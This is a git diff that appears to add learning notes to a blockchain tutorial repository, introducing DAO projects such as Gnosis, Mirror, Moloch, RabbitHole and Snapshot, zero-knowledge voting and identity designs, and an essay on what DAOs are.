+0000000000000000000000000000000000000000000000000000000000000000 //paymentToken
+0000000000000000000000000000000000000000000000000000000000000000 //payment
+0000000000000000000000000000000000000000000000000000000000000000 //receiver
+0000000000000000000000000000000000000000000000000000000000000003 //_owner len
+000000000000000000000000a75c86521514ff4873e5524a2579b249403c9a21 //owner[0]
+000000000000000000000000594bdaecc368f6cfa0baebb4c82794090a85fff0 //owner[1]
+0000000000000000000000007d9b016edd3b52495860f65de4c8238d2a73b88e //owner[2]
+0000000000000000000000000000000000000000000000000000000000000000 //data
+00000000000000000000000000000000000000000000000000000000
+```
\ No newline at end of file
diff --git a/dao/Gnosis/readme.md b/dao/Gnosis/readme.md
new file mode 100644
index 000000000..50460b6e2
--- /dev/null
+++ b/dao/Gnosis/readme.md
@@ -0,0 +1,6 @@
+# Gnosis
+
+
+## 参考链接
+gnosis文档： https://docs.gnosis-safe.io/clients/third-party-frontends
+gnosis github: https://github.com/gnosis
\ No newline at end of file
diff --git a/dao/Mirror/readme.md b/dao/Mirror/readme.md
new file mode 100644
index 000000000..87f1c275a
--- /dev/null
+++ b/dao/Mirror/readme.md
@@ -0,0 +1,29 @@
+## About Mirror
++ It is little step of the production on ability of Bloging, but it is a great step of Web3.
++ Cause of we can write without permission or controls and we can use NFT to get the benefit of high quality content writing but not to using hot topic to get traffic and make money from advertising.
++ So, it is a great idea.
++ Build by a16z crypto pre partner, Denis Nazarov, he is a Developer, not only a investor, with my great respective.
++ Mirror.xyz
++ github :[Mirror](https://github.com/mirror-xyz)
+
+## How can use it?
++ Be a writer and connect with your wallet like metamask.
++ Write what you want!
++ ![Mirror Dashboard](https://tva1.sinaimg.cn/large/008i3skNly1gxhwxexv6nj31dc0u0abx.jpg)
++ Post the url to your subscriber with some tools.
+
+## How to benefit from my writing and contents?
++ Use the left side tools, NFT
++ Sent to your friends... to be continue...
+
+## How to buy a NFT by Mirror?
++ ...
+
+## How to develope on Mirror?
++ github :[Mirror](https://github.com/mirror-xyz)
++ Use the community framework: degen
++ ...
+
+
+Reference article:
+[Zhihu](https://zhuanlan.zhihu.com/p/425322365)
diff --git a/dao/Moloch/Intro.md b/dao/Moloch/Intro.md
new file mode 100644
index 000000000..c64609001
--- /dev/null
+++ b/dao/Moloch/Intro.md
@@ -0,0 +1,39 @@
+# Moloch 介绍
+
+## Moloch 解决了什么问题
+
+以太坊就如同一个公有地，单一开发者为以太坊作出的贡献最终受益者是整个以太坊生态，而开发者自身能够得到的部分微乎其微，这导致许多有才华的开发者没有动力持续为以太坊生态「无偿」工作。
+
+以太坊的坚定支持者、去中心化成人内容应用 Spankchain 的创始人Ameen Soleimani决定做些事情改变这一现状，他与另外 21 名成员共同发起了一个名为「Moloch DAO」的开源社区治理协议，，希望通过引入去中心化的治理模式，解决 ETH2.0 开发缓慢、开发发者激励不足这一核心问题。
+
+## 如何加入 Moloch DAO？
+
+首先我们来说加入机制。一个成员要想加入并成为 Moloch DAO 组织中的一员，他是不可能找到官方渠道填写申请表格的。他必须说服 Moloch DAO 内的一位成员，请他在 Moloch DAO 的智能合约中发起投票，然后由各位 Moloch DAO 的成员参与投票，从而决定他是否能够加入。
+
+投票时长为 7 天，投票通过的话还有 7 天的公示期。一切就绪，他才能获得成员资格。
+
+成员资格当然不会是免费发放的，想要加入的成员必须要有对应的付出。他需要往 Guild Bank 中注入一定的 ETH：若投票通过，他可以按照他投入的 ETH 占 Guild Bank 中相应的比例获得新发行的「投票权」，若未获通过，ETH 原路退还。
+
+当然，Moloch DAO 还有另外一种加入的方式，相当于劳务加入。
+
+比如，Moloch DAO 希望能有工程师帮忙开发一个前端网页，或者希望安全研究员帮忙审计代码时，他们同样需要内部发起一个投票。投票成功后，参与这项任务的前端工程师或者安全研究员会获得一定的「投票权」，他们可以将这部分「投票权」通过我们接下来要讲的退出机制，从 Guild Bank 中提出相应的资金。
+
+最后，由于Moloch DAO 的愿景非常清晰，就是「加速以太坊 2.0 建设」，所以，成员们会发起投票，将新的「投票权」给予那些建设中的以太坊 2.0 项目。这些以太坊 2.0 项目，也就成为了 Moloch DAO 的成员之一，当项目需要使用资金时，他们可以通过销毁一部分的投票，提取 ETH 用于项目的运营建设。
+
+Moloch DAO 的成员们相信，从长远来看，这些「投票权」的分发导致自身「投票权」的稀释，远小于 ETH 本身价值的增长。
+
+## 如何退出 Moloch DAO？
+
+正如我们先前说的那样，如果 Moloch DAO 的成员不再愿意参与治理，或者是为了获取流动资金，成员可以销毁自己的投票，从该组织中「怒退」（Ragequit），同时从 Guild Bank 中获得对应比例的资金，拿相应的 ETH 走人。
+
+「怒退」的设计非常巧妙，涉及了 Moloch DAO 治理方面的创新设计。如果一项提案获得通过，但有少部分人是投了反对票，那么这部分不接受提案的人，为了保护自己利益不受损害，则可以选择在提案的公示期内，通过 Ragequit 直接拿走自己的资金。
+
+这种设计也从侧面说明了 Moloch DAO 的逻辑：如果你对组织的决议不满，你可以直接退出，你的利益不会因为群体的意志而受到损害。
+
+## 参考
+
+- [Moloch DAO研究报告](https://mp.weixin.qq.com/s/tEPvcF61jX5vsMEWU_ZClw)
+
+- [热门区块链治理项目 Moloch DAO 究竟是什么？为何如此重要？](https://new.qq.com/omn/20190724/20190724A0I7D200.html)
+
+- [赛博民主-区块链自治理社区演进史（DAO的前世今生）](https://mp.weixin.qq.com/s/J-HOhTxN9cWMjp0Pu2Hz1Q)
\ No newline at end of file
diff --git a/dao/Openzeppelin-DAO b/dao/Openzeppelin-DAO
new file mode 160000
index 000000000..9f0206e74
--- /dev/null
+++ b/dao/Openzeppelin-DAO
@@ -0,0 +1 @@
+Subproject commit 9f0206e743b7bb380e5b2afa4dc49c3cfaeaf2c4
diff --git a/dao/RabbitHole/intro.md b/dao/RabbitHole/intro.md
new file mode 100644
index 000000000..cd61b9ba3
--- /dev/null
+++ b/dao/RabbitHole/intro.md
@@ -0,0 +1,25 @@
+# RabbitHole
+
+RabbitHole 让用户通过使用 DApp 来赢取奖励。奖励包括代币 XP、NFT 和项目的代币等。
+
+这些任务包括：在Synthetix 进行 Staking操作，在 Aragon 进行投票，在 Balancer 提供流动性，在 Keep3r 中执行作业等。
+
+## 想解决的问题
+
+1. 激励用户测试 DApp 功能
+2. 帮用户选出优质项目参与
+3. 使用游戏化的方式让用户可以深入了解 DApp
+
+## 利用 DAO 构建 RabbitHole 自身的功能
+
+RabbitHole 利用 DAO 构建自身的功能，叫做 [Pathfinder](https://rabbithole.gg/pathfinder)，需要四种角色：
+
+1. Steward: Writes a proposal for a protocol to create a new Quest.
+2. Navigator: Creates subgraphs which track completion of Tasks using The Graph.
+3. Artisan: Designs the artwork for rewards given to participants of Quests.
+4. Pioneer: Creates content for Quests to help guide participants.
+
+## Reference
+
+- https://medium.com/rabbithole-gg/introducing-rabbithole-98f3f455d4a5
+- https://www.dappchaser.com/rabbithole/
\ No newline at end of file
diff --git a/dao/Snapshot/intro.md b/dao/Snapshot/intro.md
new file mode 100644
index 000000000..6b3c1a65e
--- /dev/null
+++ b/dao/Snapshot/intro.md
@@ -0,0 +1,21 @@
+
+**介绍**
+
+Snapshot 是一个为 ERC20 代币提供社区提案投票的聚合治理平台，由 Balancer 团队开发在今年 8 月推出。作为一个 off-chain 的治理工具，用户使用 Snapshot 进行签名投票和社区提案而无需要消耗 GAS 费。不同于 Aragon 的从创建到治理全覆盖，Snapshot 目前仅提供提案和投票这两项功能，它更倾向于是一个治理投票的平台型工具，而不是一个提供搭建、治理投票、质押、链上法庭等复杂功能的平台。
+
+**主要特点**
+- 免费（无gas）创建提案并对其进行投票
+- 投票是可在线轻松验证的签名消息
+- 多重投票系统- 单选、批准投票、二次投票等
+- 计算投票结果等灵活投票策略-使用REC20、NFT、其他合约等进行投票
+- 空间可以使用自定义配色方案和域名打造自己的品牌
+- 具有MIT许可证的完全开源
+
+
+**官方链接**
+
+Snapshot 官网：https://snapshot.page/#/
+
+Snapshot 说明文件：https://docs.snapshot.page/
+
+Snapshot 推特：https://twitter.com/SnapshotLabs
\ No newline at end of file
diff --git a/dao/Snapshot/readme.md b/dao/Snapshot/readme.md
new file mode 100644
index 000000000..0495ce169
--- /dev/null
+++ b/dao/Snapshot/readme.md
@@ -0,0 +1,61 @@
+## About Snapshot
++ In basic task,some basic information link below
++ [Basic Task](https://github.com/Dapp-Learning-DAO/Dapp-Learning/tree/main/basic/40-snapshot)
++ Here we talk more deeply into the Snapshot!
+
+### Why need this tools?
++ 1. For lower cost
++ if we run a Web3 community, we need make decisions fairly and everyone can express his views，
++ and it will take lots of gases to recored the whole progress on chain.
++ Snapshot can complete the communication and record jobs off chain to saving cost.
++ 2. Doing polls
++ Most of the Community make community decisions by crowed polls.
++ So we need a tool to orgnization and finish the progress.
++ Early stage, Snapshot was a simple poll tool...
++ 3. No choice
++ We are in a progress to exploring the governernce of the Open Community, till now, we have not much more ways to make a common view with many pepoles.
++ It seems the way to vote the proposals in community, is a good way.
+
+### How snapshot works？
+
+### And do we have other choices?
++ Mostly the DAOs and the Communities will use snapshot or build themself.
++ We are in a progress to exploring the governernce of the Open Community, till now, we have much more ways to make a common view with many pepoles.
++ It seems the way to vote the proposals in community, is a good way.
+
+
+## Project setup
+
+```
+yarn
+```
+
+### Compiles and hot-reloads for development
+
+```
+yarn dev
+```
+
+### Compiles and minifies for production
+
+```
+yarn build
+```
+
+### Lints and fixes files
+
+```
+yarn run lint
+```
+
+### Development Guide
+
+Use `http://localhost:3000/#/fabien.eth` for testing your code.
+
+By default your instance will connect to the hub at `https://testnet.snapshot.org`. To change that (or other values) you can create a `.env.local` and overwrite the values from `.env`.
+
+## License
+
+Snapshot is open-sourced software licensed under the © [MIT license](LICENSE).
+
+
diff --git a/dao/Snapshot/workflows/nodejs.yml b/dao/Snapshot/workflows/nodejs.yml
new file mode 100644
index 000000000..a3f5edf2e
--- /dev/null
+++ b/dao/Snapshot/workflows/nodejs.yml
@@ -0,0 +1,34 @@
+
+## Project setup
+
+```
+yarn
+```
+
+### Compiles and hot-reloads for development
+
+```
+yarn dev
+```
+
+### Compiles and minifies for production
+
+```
+yarn build
+```
+
+### Lints and fixes files
+
+```
+yarn run lint
+```
+
+### Development Guide
+
+Use `http://localhost:3000/#/fabien.eth` for testing your code.
+
+By default your instance will connect to the hub at `https://testnet.snapshot.org`. To change that (or other values) you can create a `.env.local` and overwrite the values from `.env`.
+
+## License
+
+Snapshot is open-sourced software licensed under the © [MIT license](LICENSE).
diff --git a/dao/ZK-DAO/identity-verification.md b/dao/ZK-DAO/identity-verification.md
new file mode 100644
index 000000000..aab3e7d95
--- /dev/null
+++ b/dao/ZK-DAO/identity-verification.md
@@ -0,0 +1,206 @@
+# ZK-DAO匿名身份验证技术方案
+
+## 概述
+
+匿名身份验证是ZK-DAO的基础设施之一，通过零知识证明技术实现成员身份的匿名验证，在保护用户隐私的同时确保身份的可信性。
+
+## 系统架构
+
+### 1. 核心组件
+
+#### 1.1 身份注册系统
+- 身份创建模块
+- 证明生成模块
+- 验证合约
+
+#### 1.2 权限管理系统
+- 角色定义
+- 权限分配
+- 访问控制
+
+### 2. 工作流程
+
+#### 2.1 身份注册
+- 生成身份承诺
+- 创建身份证明
+- 注册身份信息
+
+#### 2.2 身份验证
+- 提交验证请求
+- 生成验证证明
+- 验证身份有效性
+
+## 技术实现
+
+### 1. 零知识证明设计
+
+#### 1.1 电路结构
+```solidity
+// 示例：身份证明电路
+circuit IdentityProof {
+    // 私有输入
+    private input identitySecret;
+    private input membershipToken;
+    
+    // 公开输入
+    public input identityCommitment;
+    public input groupId;
+    
+    // 约束条件
+    constraint validIdentity = verify_membership(membershipToken, groupId);
+    constraint validCommitment = hash(identitySecret) == identityCommitment;
+}
+```
+
+#### 1.2 证明生成优化
+- 使用高效证明系统
+- 优化计算资源
+- 减少证明大小
+
+### 2. 智能合约实现
+
+#### 2.1 身份注册合约
+```solidity
+// 示例：身份注册合约
+contract IdentityRegistry {
+    mapping(bytes32 => bool) public registeredIdentities;
+    
+    function registerIdentity(
+        bytes32 commitment,
+        bytes calldata proof
+    ) external {
+        require(verifyProof(proof), "Invalid proof");
+        require(!registeredIdentities[commitment], "Identity already registered");
+        
+        registeredIdentities[commitment] = true;
+        emit IdentityRegistered(commitment);
+    }
+}
+```
+
+#### 2.2 权限验证合约
+```solidity
+// 示例：权限验证合约
+contract AccessController {
+    function verifyAccess(
+        bytes32 identityCommitment,
+        bytes calldata proof,
+        uint256 resourceId
+    ) external view returns (bool) {
+        return verifyAccessProof(identityCommitment, proof, resourceId);
+    }
+}
+```
+
+## 安全考虑
+
+### 1. 隐私保护
+- 身份信息保护
+- 行为不可关联性
+- 历史记录保护
+
+### 2. 攻击防护
+- 身份冒用防护
+- 重放攻击防护
+- 中间人攻击防护
+
+### 3. 系统安全
+- 密钥管理
+- 合约安全
+- 系统完整性
+
+## 性能优化
+
+### 1. 验证效率
+- 批量验证
+- 证明压缩
+- 验证加速
+
+### 2. 存储优化
+- 数据结构优化
+- 索引优化
+- 缓存策略
+
+## 部署流程
+
+### 1. 初始化配置
+- 系统参数设置
+- 密钥生成
+- 合约部署
+
+### 2. 权限配置
+- 角色定义
+- 权限分配
+- 访问控制设置
+
+## 使用示例
+
+### 1. 身份注册流程
+```javascript
+// 示例：身份注册代码
+async function registerIdentity(secret) {
+    // 生成身份证明
+    const proof = await generateIdentityProof(secret);
+    
+    // 注册身份
+    const commitment = computeCommitment(secret);
+    await identityRegistry.registerIdentity(commitment, proof);
+}
+```
+
+### 2. 权限验证流程
+```javascript
+// 示例：权限验证代码
+async function verifyAccess(identity, resource) {
+    // 生成访问证明
+    const proof = await generateAccessProof(identity, resource);
+    
+    // 验证访问权限
+    return await accessController.verifyAccess(
+        identity.commitment,
+        proof,
+        resource.id
+    );
+}
+```
+
+## 最佳实践
+
+### 1. 身份管理
+- 安全密钥存储
+- 定期更新证明
+- 权限定期审查
+
+### 2. 系统维护
+- 定期安全审计
+- 性能监控
+- 系统升级
+
+## 未来展望
+
+### 1. 技术升级
+- 新型零知识方案
+- 跨链身份验证
+- 性能优化
+
+### 2. 功能扩展
+- 多因素认证
+- 动态权限
+- 身份恢复机制
+
+## 参考资源
+
+### ZK-SNARK技术规范
+- [EIP-1922: zk-SNARK Verifier Standard](https://eips.ethereum.org/EIPS/eip-1922) - 以太坊上zk-SNARK验证器的标准接口规范 <mcreference link="https://eips.ethereum.org/EIPS/eip-1922" index="2">2</mcreference>
+- [Understanding Zero-Knowledge Proofs and zk-SNARKs](https://medium.com/@bhaskark2/understanding-zero-knowledge-proofs-part-1-verifiable-computation-with-zk-snarks-ba6cbb8e6001) - 深入解析ZK-SNARK的技术原理和实现 <mcreference link="https://medium.com/@bhaskark2/understanding-zero-knowledge-proofs-part-1-verifiable-computation-with-zk-snarks-ba6cbb8e6001" index="3">3</mcreference>
+
+### 身份验证最佳实践
+- [Digital Identity, Privacy and Zero-Knowledge Proofs](https://medium.com/cryptodigest/digital-identity-privacy-and-zero-knowledge-proofs-zk-snarks-3d092b509990) - 基于ZK-SNARK的数字身份和隐私保护实践 <mcreference link="https://medium.com/cryptodigest/digital-identity-privacy-and-zero-knowledge-proofs-zk-snarks-3d092b509990" index="1">1</mcreference>
+- [A Realistic Zero-Knowledge Example](https://medium.com/coinmonks/zk-snarks-a-realistic-zero-knowledge-example-and-deep-dive-c5e6eaa7131c) - 零知识身份验证的实际应用案例 <mcreference link="https://medium.com/coinmonks/zk-snarks-a-realistic-zero-knowledge-example-and-deep-dive-c5e6eaa7131c" index="5">5</mcreference>
+
+### 相关研究论文
+- [A Survey on the Applications of Zero-Knowledge Proofs](https://arxiv.org/html/2408.00243v1) - 零知识证明在区块链和身份验证等领域的应用综述 <mcreference link="https://arxiv.org/html/2408.00243v1" index="4">4</mcreference>
+
+### 开源项目参考
+- [Semaphore](https://github.com/semaphore-protocol/semaphore) - 基于零知识证明的以太坊匿名身份框架 <mcreference link="https://arxiv.org/html/2408.00243v1" index="4">4</mcreference>
+- [zkSync Era](https://docs.zksync.io/) - 使用ZK-SNARKs实现的Layer2扩展方案 <mcreference link="https://arxiv.org/html/2408.00243v1" index="4">4</mcreference>
\ No newline at end of file
diff --git a/dao/ZK-DAO/privacy-voting.md b/dao/ZK-DAO/privacy-voting.md
new file mode 100644
index 000000000..1c0eb0e61
--- /dev/null
+++ b/dao/ZK-DAO/privacy-voting.md
@@ -0,0 +1,194 @@
+# ZK-DAO隐私投票机制实现方案
+
+## 技术概述
+
+隐私投票机制是ZK-DAO中的核心功能之一，通过零知识证明技术实现匿名但可验证的投票系统。本文档详细描述了该机制的技术实现方案。
+
+## 系统架构
+
+### 1. 核心组件
+
+#### 1.1 链上合约
+- 投票注册合约
+- 零知识证明验证合约
+- 投票统计合约
+
+#### 1.2 链下系统
+- ZK证明生成器
+- 投票客户端
+- 中继节点
+
+### 2. 工作流程
+
+#### 2.1 投票准备
+- 生成投票人零知识证明
+- 验证投票资格
+- 创建匿名投票承诺
+
+#### 2.2 投票执行
+- 提交加密投票
+- 生成有效性证明
+- 验证投票合法性
+
+#### 2.3 结果统计
+- 聚合加密投票
+- 生成结果证明
+- 验证计票正确性
+
+## 技术实现
+
+### 1. 零知识证明设计
+
+#### 1.1 电路结构
+```solidity
+// 示例：投票证明电路
+circuit VoteProof {
+    // 私有输入
+    private input voterIdentity;
+    private input voteChoice;
+    
+    // 公开输入
+    public input votingId;
+    public input commitment;
+    
+    // 约束条件
+    constraint validIdentity = verify_identity(voterIdentity);
+    constraint validVote = range_check(voteChoice, 0, maxChoice);
+    constraint validCommitment = hash(voterIdentity, voteChoice) == commitment;
+}
+```
+
+#### 1.2 证明生成
+- 使用Groth16协议
+- 优化证明大小
+- 减少计算开销
+
+### 2. 智能合约实现
+
+#### 2.1 投票注册
+```solidity
+// 示例：投票注册合约
+contract VoteRegistry {
+    mapping(bytes32 => bool) public registeredVotes;
+    
+    function registerVote(
+        bytes32 commitment,
+        bytes calldata proof
+    ) external {
+        require(verifyProof(proof), "Invalid proof");
+        require(!registeredVotes[commitment], "Vote already registered");
+        
+        registeredVotes[commitment] = true;
+        emit VoteRegistered(commitment);
+    }
+}
+```
+
+#### 2.2 结果验证
+```solidity
+// 示例：结果验证合约
+contract VoteVerifier {
+    function verifyTally(
+        uint256[] calldata results,
+        bytes calldata proof
+    ) external view returns (bool) {
+        return verifyTallyProof(results, proof);
+    }
+}
+```
+
+## 安全考虑
+
+### 1. 隐私保护
+- 投票选择隐私
+- 投票人身份保护
+- 防止投票关联分析
+
+### 2. 攻击防护
+- 双重投票检测
+- 女巫攻击防范
+- 投票买卖防护
+
+### 3. 系统安全
+- 智能合约审计
+- 密码学安全性
+- 系统容错性
+
+## 性能优化
+
+### 1. 计算优化
+- 批量证明生成
+- 证明压缩
+- 验证加速
+
+### 2. 存储优化
+- 数据结构优化
+- 存储压缩
+- 检索效率提升
+
+## 部署指南
+
+### 1. 环境准备
+- 安装依赖
+- 配置网络
+- 初始化参数
+
+### 2. 合约部署
+- 部署顺序
+- 参数设置
+- 权限配置
+
+### 3. 系统测试
+- 功能测试
+- 性能测试
+- 安全测试
+
+## 使用示例
+
+### 1. 投票流程
+```javascript
+// 示例：投票客户端代码
+async function submitVote(choice, identity) {
+    // 生成证明
+    const proof = await generateVoteProof(choice, identity);
+    
+    // 提交投票
+    const commitment = computeCommitment(choice, identity);
+    await voteRegistry.registerVote(commitment, proof);
+}
+```
+
+### 2. 结果验证
+```javascript
+// 示例：结果验证代码
+async function verifyResults(results) {
+    // 生成结果证明
+    const proof = await generateTallyProof(results);
+    
+    // 验证结果
+    return await voteVerifier.verifyTally(results, proof);
+}
+```
+
+## 未来改进
+
+### 1. 技术升级
+- 采用更高效的ZK方案
+- 优化证明生成
+- 提升验证效率
+
+### 2. 功能扩展
+- 支持复杂投票逻辑
+- 集成跨链投票
+- 增强隐私保护
+
+## 参考资源
+
+### 1. 研究论文
+- [A scalable decentralized privacy-preserving e-voting system](https://www.sciencedirect.com/science/article/abs/pii/S2214212623002296) - 探讨使用零知识链下计算实现大规模选举的可扩展方案
+- [Blockchain-Based E-Voting Systems: A Technology Review](https://www.mdpi.com/2079-9292/13/1/17) - 详细分析区块链投票系统中的隐私保护技术
+- [Applications of Zero-Knowledge Proofs](https://arxiv.org/html/2408.00243v1) - 零知识证明在DAO治理中的创新应用
+
+### 2. 开源实现
+- [DAO ZK Proof Voting](https://github.com/ritikbhatt20/Dao_Zk_Proof_Voting) - 使用Anchor和Bellman ZK SNARKs实现的隐私投票系统
+- [Blockchain Voting System](https://github.com/Shashwat1729/Voting-System) - 基于Python的零知识证明投票系统实现
diff --git a/dao/ZK-DAO/readme.md b/dao/ZK-DAO/readme.md
new file mode 100644
index 000000000..2e013821b
--- /dev/null
+++ b/dao/ZK-DAO/readme.md
@@ -0,0 +1,75 @@
+# ZK-DAO: 零知识证明在DAO治理中的应用研究
+
+## 概述
+零知识证明（Zero-Knowledge Proof，ZK）技术在DAO治理中的应用，为解决传统DAO面临的隐私、效率和安全性等问题提供了创新解决方案。
+
+## 主要研究方向
+
+### 1. 隐私投票机制
+- 基于ZK-SNARK的匿名投票系统
+- 保护投票人身份的同时确保投票有效性
+- 防止投票操纵和双重投票
+
+### 2. 匿名身份验证
+- 基于零知识证明的成员资格验证
+- 保护成员隐私的同时验证权限
+- 实现可验证但匿名的身份认证
+
+### 3. 链上治理优化
+- 使用ZK-Rollup提升治理效率
+- 降低治理成本
+- 提高链上投票和提案的可扩展性
+
+### 4. 隐私资产管理
+- 匿名财务管理机制
+- 保护DAO资产隐私
+- 可审计的匿名交易
+
+## 技术架构
+
+### 1. 核心组件
+- ZK-SNARK电路设计
+- 智能合约集成
+- 链下证明生成
+- 链上验证机制
+
+### 2. 安全考虑
+- 密码学安全性分析
+- 智能合约安全审计
+- 攻击向量防护
+- 隐私保护评估
+
+## 实现挑战
+
+### 1. 技术挑战
+- ZK电路复杂性
+- 计算资源消耗
+- 用户体验优化
+
+### 2. 集成挑战
+- 与现有DAO框架的兼容性
+- 跨链互操作性
+- 性能优化
+
+## 未来展望
+
+### 1. 技术演进
+- ZK技术的发展趋势
+- 新型隐私解决方案
+- 可扩展性改进
+
+### 2. 应用场景扩展
+- 跨链DAO治理
+- 隐私DeFi集成
+- 企业级应用
+
+## 参考资源
+
+### 1. 学术研究
+- [A scalable decentralized privacy-preserving e-voting system](https://www.sciencedirect.com/science/article/abs/pii/S2214212623002296) - 基于零知识证明的可扩展去中心化投票系统研究
+- [Blockchain-Based E-Voting Systems: A Technology Review](https://www.mdpi.com/2079-9292/13/1/17) - 区块链电子投票系统技术综述
+- [Applications of Zero-Knowledge Proofs](https://arxiv.org/html/2408.00243v1) - 零知识证明在DAO投票中的应用研究
+
+### 2. 技术实现
+- [DAO ZK Proof Voting](https://github.com/ritikbhatt20/Dao_Zk_Proof_Voting) - 基于Anchor的隐私投票实现
+- [Blockchain Voting System](https://github.com/Shashwat1729/Voting-System) - 基于零知识证明的区块链投票系统
diff --git a/dao/ZK-DAO/technical-implementation.md b/dao/ZK-DAO/technical-implementation.md
new file mode 100644
index 000000000..3533ef912
--- /dev/null
+++ b/dao/ZK-DAO/technical-implementation.md
@@ -0,0 +1,168 @@
+# ZK-DAO技术实现细节
+
+## ZK-SNARK在DAO投票中的应用
+
+### 1. 电路设计
+
+#### 1.1 核心电路组件
+- 身份验证电路
+  - Merkle树验证
+  - 成员资格证明
+  - 投票权重验证
+- 投票电路
+  - 选项加密
+  - 投票有效性验证
+  - 重复投票检测
+- 计票电路
+  - 匿名累加
+  - 结果验证
+
+#### 1.2 优化策略
+- 电路复杂度优化
+  - 组件模块化
+  - 约束最小化
+  - 并行计算优化
+- 证明生成优化
+  - 批量处理
+  - 增量式更新
+  - 硬件加速
+
+### 2. 性能优化
+
+#### 2.1 链下优化
+- 证明生成优化
+  - 多线程并行处理
+  - GPU加速
+  - 预计算表优化
+- 数据结构优化
+  - 高效Merkle树实现
+  - 状态压缩
+  - 缓存策略
+
+#### 2.2 链上优化
+- 验证效率提升
+  - 批量验证
+  - 验证电路优化
+  - Gas成本优化
+- 存储优化
+  - 状态树压缩
+  - 历史数据归档
+  - 智能合约优化
+
+### 3. 安全性分析
+
+#### 3.1 密码学安全
+- 零知识性分析
+  - 信息泄露评估
+  - 模拟器安全性
+  - 知识可靠性
+- 完整性保证
+  - 证明不可伪造性
+  - 系统完备性
+  - 抗篡改性
+
+#### 3.2 智能合约安全
+- 合约漏洞防护
+  - 重入攻击防护
+  - 溢出检查
+  - 权限控制
+- 升级机制
+  - 可升级性设计
+  - 紧急暂停
+  - 错误恢复
+
+### 4. 实现案例
+
+#### 4.1 投票流程实现
+```solidity
+// 简化的投票合约示例
+contract ZKVoting {
+    // 投票状态结构
+    struct VoteState {
+        bytes32 merkleRoot;     // 选民Merkle树根
+        bytes32 voteHash;       // 投票承诺哈希
+        uint256 totalVotes;     // 总票数
+        bool isOpen;            // 投票是否开放
+    }
+    
+    // 验证器合约地址
+    address public verifier;
+    // 投票状态
+    VoteState public voteState;
+    
+    // 提交投票证明
+    function submitVote(
+        bytes calldata proof,
+        bytes32[] calldata merkleProof
+    ) external {
+        require(voteState.isOpen, "Voting is closed");
+        require(verifyProof(proof), "Invalid proof");
+        require(verifyMerkleProof(merkleProof), "Invalid voter");
+        
+        // 更新投票状态
+        updateVoteState(proof);
+    }
+    
+    // 验证零知识证明
+    function verifyProof(
+        bytes calldata proof
+    ) internal returns (bool) {
+        // 调用验证器合约验证证明
+        return IVerifier(verifier).verify(proof);
+    }
+}
+```
+
+#### 4.2 集成方案
+- 前端集成
+  - 证明生成客户端
+  - 用户界面设计
+  - 钱包集成
+- 后端集成
+  - 证明服务器
+  - 状态同步
+  - 数据存储
+
+### 5. 关键技术挑战
+
+#### 5.1 性能挑战
+- 证明生成时间
+  - 大规模选民场景
+  - 复杂投票规则
+  - 实时性要求
+- 验证成本
+  - Gas消耗优化
+  - 批量验证效率
+  - 链上存储压力
+
+#### 5.2 可用性挑战
+- 用户体验
+  - 证明生成等待时间
+  - 客户端资源消耗
+  - 操作复杂度
+- 兼容性
+  - 跨链互操作
+  - 钱包支持
+  - 标准协议
+
+### 6. 未来优化方向
+
+#### 6.1 技术优化
+- 新型证明系统
+  - PLONK集成
+  - 递归证明
+  - 通用证明优化
+- 性能提升
+  - 证明压缩
+  - 验证加速
+  - 存储优化
+
+#### 6.2 应用拓展
+- 功能扩展
+  - 复杂投票规则
+  - 委托投票
+  - 多轮投票
+- 生态集成
+  - DeFi集成
+  - 跨链治理
+  - 企业应用
\ No newline at end of file
diff --git a/dao/about-dao.md b/dao/about-dao.md
new file mode 100644
index 000000000..506b00ab9
--- /dev/null
+++ b/dao/about-dao.md
@@ -0,0 +1,65 @@
+# DAO的自问自答
+
+来自XStack18(Rebase社区名称：Survivor)
+
+DAO是什么？
+
+decentralized autonomous organization（DAO）
+
+在 **决策机制、资源聚合、利益分配**  做了巨大创新，给到我们未来无限可能。
+
+# 问题回答
+
+## DAO是什么？
+
+![图片](https://mmbiz.qpic.cn/mmbiz_png/hQOcLbSk4VZUnxOaibgSzIVsDhsnjBQ9qS7gcHT1iccYrxibwU81H6iazHhTXu0G8fsQflicLLvNnpxPD5owptwCPcA/640?wx_fmt=png&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1)
+
+DAO，去中心自治理组织，有时候叫DAC，是一个由计算机程序把规则编码，从而实现组织成员透明管控，不受中心化影响的组织。一个DAO的财务交易记录和程序规则维护在区块链上，目前这种组织结构的精确的法律状态并不清晰。（最新消息是美国承认DAO是合法公司）
+
+Wiki解释原文：A decentralized autonomous organization (DAO), sometimes called a decentralized autonomous corporation (DAC), is an organization represented by rules encoded as a computer program that is transparent, controlled by the organization members and not influenced by a central government. A DAO's financial transaction record and program rules are maintained on a blockchain. The precise legal status of this type of business organization is unclear.
+
+在探索未来更有效的组织形式上，一方面社会承认个体的崛起，起源于技术和服务赋予个体更多的能力和可能，互联网，文章、文学、视频创作平台，视频会议等的，另一方面，对人才的尊重和重视更加凸显，这方面，可以参考Lindedin的创始人之一，写的联盟（The League）；而DAO，就是技术黑客们，在Code is Law（代码即法律）方面，走的更快更远的一个尝试。
+
+DAO，就是**涌现**（Emergence，复杂系统的核心概念之一）在区块链技术基础之上的一个自发组织形式，它的核心有几点：
+
+**决策机制、资源聚合、利益分配**都不同于传统组织形式。
+
+1.**摒弃传统**的Board（董事会）或者CEO管理机制决策，由社区高度集体参与+决策思路/结果上链+算法/代码实现规则+紧密结合的技术栈来组成。
+
+这里面，因为社区集体高度参与，决策会更充分，而开源开放的代码，又保障所有决策思路会忠实的变成算法，并由社区的黑客们来编码实现，例如讨论社区投资的下一个标的，是某个代表未来可能的一个Meta World游戏，并且精密控制过程：产出一个里程碑，投放一部分投资，所有投资，都是由社区成员自愿参与，投资的是各自的Token份额，会忠实的回馈给每个人，因为数据上链，无人可篡改。
+
+![图片](https://mmbiz.qpic.cn/mmbiz_jpg/hQOcLbSk4VZUnxOaibgSzIVsDhsnjBQ9qft1NW7m40JVhbLaecQnu7SlLzvW1KiaxVn6Oy8hINzVA7nPWsxfjDpQ/640?wx_fmt=jpeg&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1)
+
+
+
+2.**跨越组织边界**，更优的组织人力和各种资源，让全球资源调动起来，分散风险，走向创新，让世界更好一点。
+
